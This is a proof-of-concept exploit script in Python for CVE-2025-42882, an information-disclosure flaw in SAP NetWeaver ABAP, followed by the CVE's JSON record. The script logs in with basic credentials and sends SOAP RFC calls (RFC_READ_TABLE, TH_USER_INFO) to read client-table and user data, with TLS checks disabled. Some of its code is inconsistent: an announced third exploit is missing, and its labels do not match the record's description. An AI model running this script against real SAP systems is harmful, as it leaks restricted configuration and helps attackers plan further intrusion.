CVE-2025-42882

# CVE-2025-42882 PoC - SAP NetWeaver ABAP Unauthorized Information Disclosure # Target: SAP NetWeaver Application Server for ABAP # Requirement: Valid basic user credentials import requests import xml.etree.ElementTree as ET TARGET_URL = "https://sap-server:8000/sap/bc/soap/rfc" USERNAME = "attacker_user" PASSWORD = "password123" CLIENT = "001" def create_soap_envelope(function_name, params): """Generate SOAP envelope for RFC call""" return f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sap="http://sap.com/soap/SOAP/"> <soap:Header/> <soap:Body> <ns1:{function_name} xmlns:ns1="urn:sap-com:document:sap:rfc:functions"> {params} </ns1:{function_name}> </soap:Body> </soap:Envelope>''' def exploit_information_disclosure(): """Exploit CVE-2025-42882 to retrieve system information""" headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""/' } # Exploit 1: Read system client table params_t000 = ''' <QUERY_TABLE>T000</QUERY_TABLE> <DELIMITER>|</DELIMITER> <FIELDS> <item> <FIELDNAME>MANDT</FIELDNAME> </item> <item> <FIELDNAME>MTEXT</FIELDNAME> </item> </FIELDS> ''' # Exploit 2: Get current user session info via TH_USER_INFO params_user_info = ''' <USER>{}</USER> '''.format(USERNAME) # Exploit 3: Get system environment via RFC_SYSTEM_INFO print("[*] Testing CVE-2025-42882 - SAP ABAP Authorization Bypass") print("[*] Target:", TARGET_URL) # Send exploit requests for exploit_name, func_name, params in [ ('Client Configuration', 'RFC_READ_TABLE', params_t000), ('User Session Info', 'TH_USER_INFO', params_user_info) ]: soap_body = create_soap_envelope(func_name, params) try: response = requests.post( TARGET_URL, data=soap_body, headers=headers, auth=(f'{CLIENT}{USERNAME}', PASSWORD), verify=False, timeout=30 ) if response.status_code == 200: print(f"[+] {exploit_name} - Request successful") print(f" Response length: {len(response.text)} bytes") # Parse and extract sensitive data root = ET.fromstring(response.text) # Extract DATA element content data = root.find('.//{urn:sap-com:document:sap:rfc:functions}DATA') if data is not None: print(f" [!] Sensitive data leaked: {data.text[:200]}...") else: print(f"[-] {exploit_name} - Failed (HTTP {response.status_code})") except Exception as e: print(f"[-] {exploit_name} - Error: {str(e)}") if __name__ == "__main__": exploit_information_disclosure()

{"cve": {"id": "CVE-2025-42882", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:36.557", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a missing authorization check in SAP NetWeaver Application Server for ABAP, an authenticated attacker with basic privileges could execute a specific function module in ABAP to retrieve restricted technical information from the system. This disclosure of environment details of the system could further assist this attacker to plan subsequent attacks. As a result, this vulnerability has a low impact on confidentiality, with no impact on the integrity or availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3643337", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}